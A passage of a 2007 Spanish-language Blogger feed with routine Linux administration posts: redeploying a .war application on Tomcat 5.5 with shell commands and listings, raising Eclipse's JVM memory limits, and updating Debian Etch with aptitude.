CATALINA_TMPDIR: /home/tomcat/tomcat55/temp&lt;br /&gt;Using JRE_HOME: /usr/java/jdk1.5.0_12&lt;br /&gt;CompilerOracle: exclude org/apache/lucene/index/IndexReaderstop doBody&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;5.- Posteriormente debemos eliminar los archivos de la aplicación que queremos actualizar, por ejemplo cdding, para los cual debemos seguir los siguientes pasos, comenzamos por ingresar al directorio donde se encuentra esta aplicación &lt;span style="font-weight: bold;"&gt;(webapps)&lt;/span&gt; con la siguiente linea de comando:&lt;br /&gt;&lt;br /&gt;[tomcat@desarrollo tomcat55]$ &lt;span style="font-weight: bold;"&gt;cd webapps/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Lo cual nos dejara en el directorio donde se encuentran las aplicaciones de desarrollo.&lt;br /&gt;&lt;br /&gt;Si hacemos un ls -l, nos listara las aplicaciones del directorio, sus usuarios y grupos:&lt;br /&gt;&lt;br /&gt;[tomcat@desarrollo webapps]$ &lt;span style="font-weight: bold;"&gt;ls -l&lt;/span&gt;&lt;br /&gt;total 141712&lt;br /&gt;drwxr-xr-x 5 tomcat tomcat 4096 sep 12 2006 balancer&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;drwxr-xr-x 9 tomcat tomcat 4096 nov 14 14:10 cdding&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;-rw-r--r-- 1 tomcat tomcat 15367817 nov 14 14:10 cdding.war&lt;/span&gt;&lt;br /&gt;drwxr-xr-x 9 tomcat tomcat 4096 nov 12 11:27 genera&lt;br /&gt;-rw-r--r-- 1 tomcat tomcat 11039668 nov 12 11:23 genera.war&lt;br /&gt;drwxr-xr-x 9 tomcat tomcat 4096 nov 14 17:54 gestionDesgravamenIng&lt;br /&gt;-rw-r--r-- 1 tomcat tomcat 15710827 nov 14 17:51 gestionDesgravamenIng.war&lt;br /&gt;drwxr-xr-x 9 tomcat tomcat 4096 nov 5 14:15 jetspeed&lt;br /&gt;drwxr-xr-x 9 tomcat tomcat 4096 nov 5 14:33 jetspeed-2.1.2&lt;br /&gt;-rwxr-xr-x 1 tomcat tomcat 15586886 nov 5 14:31 jetspeed-2.1.2.war&lt;br /&gt;drwxr-xr-x 19 tomcat tomcat 4096 jul 19 13:27 jetspeed_old&lt;br /&gt;drwxr-xr-x 6 tomcat tomcat 4096 feb 20 2007 jfm&lt;br /&gt;drwxr-xr-x 14 tomcat tomcat 4096 feb 7 2007 jira&lt;br /&gt;drwxr-xr-x 21 tomcat tomcat 4096 feb 7 2007 jsp-examples&lt;br /&gt;drwxr-xr-x 5 tomcat tomcat 4096 oct 26 18:05 MProcesos_SGDING&lt;br /&gt;drwxr-xr-x 21 tomcat tomcat 4096 nov 2 17:13 mundialcore&lt;br /&gt;-rw-r--r-- 1 tomcat tomcat 33091582 nov 2 17:13 mundialcore.war&lt;br /&gt;drwxr-xr-x 4 tomcat tomcat 4096 feb 7 2007 ROOT&lt;br /&gt;drwxr-xr-x 9 tomcat tomcat 4096 oct 23 18:26 scarab&lt;br /&gt;-rw-r--r-- 1 tomcat tomcat 17459313 oct 23 18:23 scarab.war&lt;br /&gt;drwxr-xr-x 4 tomcat tomcat 4096 feb 7 2007 servlets-examples&lt;br /&gt;drwxr-xr-x 12 tomcat tomcat 4096 feb 7 2007 tomcat-docs&lt;br /&gt;drwxr-xr-x 9 tomcat tomcat 4096 sep 27 09:33 WebConsorcio&lt;br /&gt;-rw-r--r-- 1 tomcat tomcat 12183733 sep 27 09:25 WebConsorcio.war&lt;br /&gt;drwxr-xr-x 10 tomcat tomcat 4096 oct 26 18:05 WebDemo&lt;br /&gt;-rw-r--r-- 1 tomcat tomcat 12057521 may 29 12:08 WebDemo.war&lt;br /&gt;drwxr-xr-x 9 tomcat tomcat 4096 nov 14 20:58 WebIng&lt;br /&gt;-rw-r--r-- 1 tomcat tomcat 12220073 nov 14 20:53 WebIng.war&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Para esta tarea recordemos que el servicio de tomcat debe estar abajo.&lt;br /&gt;&lt;br /&gt;Posteriormente eliminamos el archivo y directorio de la aplicación que queremos actualizar &lt;span style="font-weight: bold;"&gt;(cdding de ejemplo)&lt;/span&gt;, con los siguientes comandos:&lt;br /&gt;&lt;br /&gt;[tomcat@desarrollo webapps]$ &lt;span style="font-weight: bold;"&gt;rm -rf cdding.war&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;En la linea anterior hemos eliminado el &lt;span style="font-weight: bold;"&gt;.war&lt;/span&gt; de la aplicación, seguidamente eliminamos el directorio con el siguiente comando:&lt;br /&gt;&lt;br /&gt;[tomcat@desarrollo webapps]$ &lt;span style="font-weight: bold;"&gt;rm -rf cdding&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Y al hacer un ls -l vemos que este archivo y directorio ya no existen:&lt;br /&gt;&lt;br /&gt;[tomcat@desarrollo webapps]$ &lt;span style="font-weight: bold;"&gt;ls -l&lt;/span&gt;&lt;br /&gt;total 111712&lt;br /&gt;drwxr-xr-x 5 tomcat tomcat 4096 sep 12 2006 balancer&lt;br /&gt;drwxr-xr-x 9 tomcat tomcat 4096 nov 12 11:27 genera&lt;br /&gt;-rw-r--r-- 1 tomcat tomcat 11039668 nov 12 11:23 genera.war&lt;br /&gt;drwxr-xr-x 9 tomcat tomcat 4096 nov 14 17:54 gestionDesgravamenIng&lt;br /&gt;-rw-r--r-- 1 tomcat tomcat 15710827 nov 14 17:51 gestionDesgravamenIng.war&lt;br /&gt;drwxr-xr-x 9 tomcat tomcat 4096 nov 5 14:15 jetspeed&lt;br /&gt;drwxr-xr-x 9 tomcat tomcat 4096 nov 5 14:33 jetspeed-2.1.2&lt;br /&gt;-rwxr-xr-x 1 tomcat tomcat 15586886 nov 5 14:31 jetspeed-2.1.2.war&lt;br /&gt;drwxr-xr-x 19 tomcat tomcat 4096 jul 19 13:27 jetspeed_old&lt;br /&gt;drwxr-xr-x 6 tomcat tomcat 4096 feb 20 2007 jfm&lt;br /&gt;drwxr-xr-x 14 tomcat tomcat 4096 feb 7 2007 jira&lt;br /&gt;drwxr-xr-x 21 tomcat tomcat 4096 feb 7 2007 jsp-examples&lt;br /&gt;drwxr-xr-x 5 tomcat tomcat 4096 oct 26 18:05 MProcesos_SGDING&lt;br /&gt;drwxr-xr-x 21 tomcat tomcat 4096 nov 2 17:13 mundialcore&lt;br /&gt;-rw-r--r-- 1 tomcat tomcat 33091582 nov 2 17:13 mundialcore.war&lt;br /&gt;drwxr-xr-x 4 tomcat tomcat 4096 feb 7 2007 ROOT&lt;br /&gt;drwxr-xr-x 9 tomcat tomcat 4096 oct 23 18:26 scarab&lt;br /&gt;-rw-r--r-- 1 tomcat tomcat 17459313 oct 23 18:23 scarab.war&lt;br /&gt;drwxr-xr-x 4 tomcat tomcat 4096 feb 7 2007 servlets-examples&lt;br /&gt;drwxr-xr-x 12 tomcat tomcat 4096 feb 7 2007 tomcat-docs&lt;br /&gt;drwxr-xr-x 9 tomcat tomcat 4096 sep 27 09:33 WebConsorcio&lt;br /&gt;-rw-r--r-- 1 tomcat tomcat 12183733 sep 27 09:25 WebConsorcio.war&lt;br /&gt;drwxr-xr-x 10 tomcat tomcat 4096 oct 26 18:05 WebDemo&lt;br /&gt;-rw-r--r-- 1 tomcat tomcat 12057521 may 29 12:08 WebDemo.war&lt;br /&gt;drwxr-xr-x 9 tomcat tomcat 4096 nov 14 20:58 WebIng&lt;br /&gt;-rw-r--r-- 1 tomcat tomcat 12220073 nov 14 20:53 WebIng.war&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;6.-&lt;/span&gt; Siempre con el servicio de tomcat abajo debemos copiar a este directorio la nueva o actualización de la aplicación (archivo .war) que queremos desplegar, para esto podemos ocupar algún navegador de archivos, como &lt;span style="font-weight: bold;"&gt;ssh client&lt;/span&gt; para windows o el comando &lt;span style="font-weight: bold;"&gt;scp&lt;/span&gt; en la consola de linux o algún navegador con soporte para sftp como &lt;span style="font-weight: bold;"&gt;konqueror&lt;/span&gt; en linux.&lt;br /&gt;&lt;br /&gt;Una vez que copiamos nuevamente la aplicación (.war) a este directorio podemos hacer un ls -l para confirmar su existencia en el webapps de tomcat:&lt;br /&gt;&lt;br /&gt;[tomcat@desarrollo webapps]$ &lt;span style="font-weight: bold;"&gt;ls -l&lt;/span&gt;&lt;br /&gt;total 141712&lt;br /&gt;drwxr-xr-x 5 tomcat tomcat 4096 sep 12 2006 balancer&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;-rw-r--r-- 1 tomcat tomcat 15367817 nov 14 14:10 cdding.war&lt;/span&gt;&lt;br /&gt;drwxr-xr-x 9 tomcat tomcat 4096 nov 12 11:27 genera&lt;br /&gt;-rw-r--r-- 1 tomcat tomcat 11039668 nov 12 11:23 genera.war&lt;br /&gt;drwxr-xr-x 9 tomcat tomcat 4096 nov 14 17:54 gestionDesgravamenIng&lt;br /&gt;-rw-r--r-- 1 tomcat tomcat 15710827 nov 14 17:51 gestionDesgravamenIng.war&lt;br /&gt;drwxr-xr-x 9 tomcat tomcat 4096 nov 5 14:15 jetspeed&lt;br /&gt;drwxr-xr-x 9 tomcat tomcat 4096 nov 5 14:33 jetspeed-2.1.2&lt;br /&gt;-rwxr-xr-x 1 tomcat tomcat 15586886 nov 5 14:31 jetspeed-2.1.2.war&lt;br /&gt;drwxr-xr-x 19 tomcat tomcat 4096 jul 19 13:27 jetspeed_old&lt;br /&gt;drwxr-xr-x 6 tomcat tomcat 4096 feb 20 2007 jfm&lt;br /&gt;drwxr-xr-x 14 tomcat tomcat 4096 feb 7 2007 jira&lt;br /&gt;drwxr-xr-x 21 tomcat tomcat 4096 feb 7 2007 jsp-examples&lt;br /&gt;drwxr-xr-x 5 tomcat tomcat 4096 oct 26 18:05 MProcesos_SGDING&lt;br /&gt;drwxr-xr-x 21 tomcat tomcat 4096 nov 2 17:13 mundialcore&lt;br /&gt;-rw-r--r-- 1 tomcat tomcat 33091582 nov 2 17:13 mundialcore.war&lt;br /&gt;drwxr-xr-x 4 tomcat tomcat 4096 feb 7 2007 ROOT&lt;br /&gt;drwxr-xr-x 9 tomcat tomcat 4096 oct 23 18:26 scarab&lt;br /&gt;-rw-r--r-- 1 tomcat tomcat 17459313 oct 23 18:23 scarab.war&lt;br /&gt;drwxr-xr-x 4 tomcat tomcat 4096 feb 7 2007 servlets-examples&lt;br /&gt;drwxr-xr-x 12 tomcat tomcat 4096 feb 7 2007 tomcat-docs&lt;br /&gt;drwxr-xr-x 9 tomcat tomcat 4096 sep 27 09:33 WebConsorcio&lt;br /&gt;-rw-r--r-- 1 tomcat tomcat 12183733 sep 27 09:25 WebConsorcio.war&lt;br /&gt;drwxr-xr-x 10 tomcat tomcat 4096 oct 26 18:05 WebDemo&lt;br /&gt;-rw-r--r-- 1 tomcat tomcat 12057521 may 29 12:08 WebDemo.war&lt;br /&gt;drwxr-xr-x 9 tomcat tomcat 4096 nov 14 20:58 WebIng&lt;br /&gt;-rw-r--r-- 1 tomcat tomcat 12220073 nov 14 20:53 WebIng.war&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ya confirmada la existencia del .war en el directorio webapps de tomcat, nos debemos pocisionar el la raiz del tomcat con el siguiente comando:&lt;br /&gt;&lt;br /&gt;[tomcat@desarrollo webapps]$ &lt;span style="font-weight: bold;"&gt;cd ..&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;7.-&lt;/span&gt; Seguidamente arrancamos nuevamente el servicio con la siguiente linea de comando:&lt;br /&gt;&lt;br /&gt;[tomcat@desarrollo tomcat55]$ &lt;span style="font-weight: bold;"&gt;./bin/startup.sh&lt;/span&gt;&lt;br /&gt;Using CATALINA_BASE: /home/tomcat/tomcat55&lt;br /&gt;Using CATALINA_HOME: /home/tomcat/tomcat55&lt;br /&gt;Using CATALINA_TMPDIR: /home/tomcat/tomcat55/temp&lt;br /&gt;Using JRE_HOME: /usr/java/jdk1.5.0_12&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Si todo va bien esta acción desempaquetara el archivo &lt;span style="font-weight: bold;"&gt;.war&lt;/span&gt; de la aplicación generando un directorio con su nombre.&lt;br /&gt;&lt;br /&gt;[tomcat@desarrollo webapps]$ &lt;span style="font-weight: bold;"&gt;ls -l&lt;/span&gt;&lt;br /&gt;total 141712&lt;br /&gt;drwxr-xr-x 5 tomcat tomcat 4096 sep 12 2006 balancer&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;drwxr-xr-x 9 tomcat tomcat 4096 nov 14 14:10 cdding&lt;/span&gt;&lt;br /&gt;-rw-r--r-- 1 tomcat tomcat 15367817 nov 14 14:10 cdding.war&lt;br /&gt;drwxr-xr-x 9 tomcat tomcat 4096 nov 12 11:27 genera&lt;br /&gt;-rw-r--r-- 1 tomcat tomcat 11039668 nov 12 11:23 genera.war&lt;br /&gt;drwxr-xr-x 9 tomcat tomcat 4096 nov 14 17:54 gestionDesgravamenIng&lt;br /&gt;-rw-r--r-- 1 tomcat tomcat 15710827 nov 14 17:51 gestionDesgravamenIng.war&lt;br /&gt;drwxr-xr-x 9 tomcat tomcat 4096 nov 5 14:15 jetspeed&lt;br /&gt;drwxr-xr-x 9 tomcat tomcat 4096 nov 5 14:33 jetspeed-2.1.2&lt;br /&gt;-rwxr-xr-x 1 tomcat tomcat 15586886 nov 5 14:31 jetspeed-2.1.2.war&lt;br /&gt;drwxr-xr-x 19 tomcat tomcat 4096 jul 19 13:27 jetspeed_old&lt;br /&gt;drwxr-xr-x 6 tomcat tomcat 4096 feb 20 2007 jfm&lt;br /&gt;drwxr-xr-x 14 tomcat tomcat 4096 feb 7 2007 jira&lt;br /&gt;drwxr-xr-x 21 tomcat tomcat 4096 feb 7 2007 jsp-examples&lt;br /&gt;drwxr-xr-x 21 tomcat tomcat 4096 nov 2 17:13 mundialcore&lt;br /&gt;-rw-r--r-- 1 tomcat tomcat 33091582 nov 2 17:13 mundialcore.war&lt;br /&gt;drwxr-xr-x 4 tomcat tomcat 4096 feb 7 2007 ROOT&lt;br /&gt;drwxr-xr-x 9 tomcat tomcat 4096 oct 23 18:26 scarab&lt;br /&gt;-rw-r--r-- 1 tomcat tomcat 17459313 oct 23 18:23 scarab.war&lt;br /&gt;drwxr-xr-x 4 tomcat tomcat 4096 feb 7 2007 servlets-examples&lt;br /&gt;drwxr-xr-x 12 tomcat tomcat 4096 feb 7 2007 tomcat-docs&lt;br /&gt;drwxr-xr-x 9 tomcat tomcat 4096 sep 27 09:33 WebConsorcio&lt;br /&gt;-rw-r--r-- 1 tomcat tomcat 12183733 sep 27 09:25 WebConsorcio.war&lt;br /&gt;drwxr-xr-x 10 tomcat tomcat 4096 oct 26 18:05 WebDemo&lt;br /&gt;-rw-r--r-- 1 tomcat tomcat 12057521 may 29 12:08 WebDemo.war&lt;br /&gt;drwxr-xr-x 9 tomcat tomcat 4096 nov 14 20:58 WebIng&lt;br /&gt;-rw-r--r-- 1 tomcat tomcat 12220073 nov 14 20:53 WebIng.war&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;8.-&lt;/span&gt; Si queremos verificar que el servicio esta arriba, ingresamos la siguiente linea de comandos, la cual nos confirma el uso del servicio y el puerto que esta ocupando:&lt;br /&gt;&lt;br /&gt;[tomcat@desarrollo tomcat55]$ &lt;span style="font-weight: bold;"&gt;netstat -tan | grep 8080&lt;/span&gt;&lt;br /&gt;tcp 0 0 :::8080 :::* LISTEN&lt;br /&gt;&lt;br /&gt;En caso contrario no mostrara nada.&lt;br /&gt;&lt;br /&gt;Si queremos ver el log del servicio tomcat, podemos ingresar la siguiente linea de comando:&lt;br /&gt;&lt;br /&gt;[tomcat@desarrollo tomcat55]$ &lt;span style="font-weight: bold;"&gt;tail -f logs/catalina.out&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;los cual nos despliega la traza del servicio y sus aplicaciones.&lt;br /&gt;&lt;br /&gt;Toda esta tarea de mantención no debiera demorar más de 5 minutos, con la practica podemos hacer esto en unos 3 minutos, recordemos que se debe efectuar en el menor tiempo posible para no interrumpir otras acciones del grupo de desarrollo.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Saludos y Suerte !!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-3858573373054784094?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/3858573373054784094/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=3858573373054784094' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/3858573373054784094'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/3858573373054784094'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2007/11/actualizacin-de-aplicaciones-en-tomcat.html' title='Actualización de aplicaciones en Tomcat'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-3752085940149804704</id><published>2007-11-02T20:58:00.000-03:00</published><updated>2007-11-28T11:28:57.840-03:00</updated><title type='text'>Asignar memoria a java para eclipse</title><content type='html'>Hola, a veces desarrollando aplicaciones java en eclipse, debugueando y ocupando gran cantidad de memoria en nuestro sistema, etc... eclipse nos manda un OutOfMemoryExceptions, warning o error de overlock de memoria, y se nos complica seguir trabajando hasta reiniciar eclipse.&lt;br /&gt;&lt;br /&gt;Por lo tanto la solución es asignar más memoria a la Java virtual machine sobre la que corre eclipse, y para eso tenemos que parametrizar los parámetros con los que se incializa la Java Virtual Machine. existen algunos metodos para setear esa cantidad de memoria, el más simple y efectivo es pasar estos parametros de memoria en el lanzador de eplipse en el escritorio del linux, en mi caso es debian, la linea del lanzador que hay que editar es:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;/home/slack/programas/eclipse/eclipse&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;quedando:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;/home/slack/programas/eclipse/eclipse -vmargs -Xms512m -Xmx1024m -XX:PermSize=128m -XX:MaxPermSize=128m&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;En algunas distros de Linux, cuando parametrizamos este lanzador, aparece sobre el icono de eclipse una taza de café.&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;Saludos y suerte !!&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-3752085940149804704?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/3752085940149804704/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=3752085940149804704' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/3752085940149804704'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/3752085940149804704'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2007/11/asignar-memoria-java-en-eclipse.html' title='Asignar memoria a java para eclipse'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-2587067780169151544</id><published>2007-10-28T12:36:00.000-03:00</published><updated>2007-11-28T11:29:12.833-03:00</updated><title type='text'>Actualizar Debian Etch</title><content type='html'>&lt;style type="text/css"&gt;--   @page { size: 21cm 29.7cm; margin: 2cm }   P { margin-bottom: 0.21cm }  --&gt;&lt;/style&gt;&lt;p style="margin-bottom: 0cm;"&gt;Cuando llevamos algún tiempo trabajando con una distribución, y nos damos cuenta que ya es tiempo de actualizar nuestro sistema operativo, tenemos varias opciones, una es con synaptic, otra el propio gestor gráfico de actualizaciones, etc. ahora vamos a ver como mantener actualizado nuestro sistema Debian Etch desde la consola. comenzamos abriendo un terminal como root y escribimos el siguiente comando:&lt;/p&gt;&lt;br /&gt;slackware:/home/slack# &lt;span style="font-weight: bold;"&gt;aptitude update&lt;/span&gt;&lt;br /&gt;Des:1 http://www.debian-multimedia.org etch Release.gpg [189B]&lt;br /&gt;Des:2 http://ftp.de.debian.org etch Release.gpg [378B]&lt;br /&gt;Des:3 http://ftp.debian.org etch Release.gpg [378B]&lt;br /&gt;Des:4 http://ftp.debian.org etch Release.gpg [378B]&lt;br /&gt;Des:5 http://security.debian.org etch/updates Release.gpg [189B]&lt;br /&gt;Obj http://www.debian-multimedia.org etch Release&lt;br /&gt;Obj http://ftp.debian.org etch Release&lt;br /&gt;Obj http://ftp.de.debian.org etch Release&lt;br /&gt;Obj http://security.debian.org etch/updates Release&lt;br /&gt;Obj http://ftp.debian.org etch Release&lt;br /&gt;Ign http://www.debian-multimedia.org etch/main Packages/DiffIndex&lt;br /&gt;Ign http://ftp.de.debian.org etch/main Packages/DiffIndex&lt;br /&gt;Ign http://ftp.debian.org etch/main Packages/DiffIndex&lt;br /&gt;Ign http://ftp.debian.org etch/contrib Packages/DiffIndex&lt;br /&gt;Ign http://security.debian.org etch/updates/main Packages/DiffIndex&lt;br /&gt;Obj http://www.debian-multimedia.org etch/main Packages&lt;br /&gt;Obj http://ftp.de.debian.org etch/main Packages&lt;br /&gt;Ign http://ftp.debian.org etch/non-free Packages/DiffIndex&lt;br /&gt;Ign http://ftp.debian.org etch/main Packages/DiffIndex&lt;br /&gt;Ign http://ftp.debian.org etch/non-free Packages/DiffIndex&lt;br /&gt;Ign http://security.debian.org etch/updates/contrib Packages/DiffIndex&lt;br /&gt;Ign http://security.debian.org etch/updates/non-free Packages/DiffIndex&lt;br /&gt;Ign http://ftp.debian.org etch/contrib Packages/DiffIndex&lt;br /&gt;Obj http://ftp.debian.org etch/main Packages&lt;br /&gt;Obj http://ftp.debian.org etch/contrib Packages&lt;br /&gt;Obj http://security.debian.org etch/updates/main Packages&lt;br /&gt;Obj http://ftp.debian.org etch/non-free Packages&lt;br /&gt;Obj http://ftp.debian.org etch/main Packages&lt;br /&gt;Obj http://security.debian.org etch/updates/contrib Packages&lt;br /&gt;Obj http://ftp.debian.org etch/non-free Packages&lt;br /&gt;Obj http://ftp.debian.org etch/contrib Packages&lt;br /&gt;Obj http://security.debian.org etch/updates/non-free Packages&lt;br /&gt;Descargados 5B en 2s (2B/s).&lt;br /&gt;Leyendo lista de paquetes... Hecho&lt;br /&gt;&lt;br /&gt;Una vez actualizada, ejecutamos el siguiente comando para ver si hay versiones nuevas de los paquetes de nuestro sistema:&lt;br /&gt;&lt;br /&gt;slackware:/home/slack# &lt;span style="font-weight: bold;"&gt;aptitude upgrade&lt;/span&gt;&lt;br /&gt;Leyendo lista de paquetes... Hecho&lt;br /&gt;Creando árbol de de
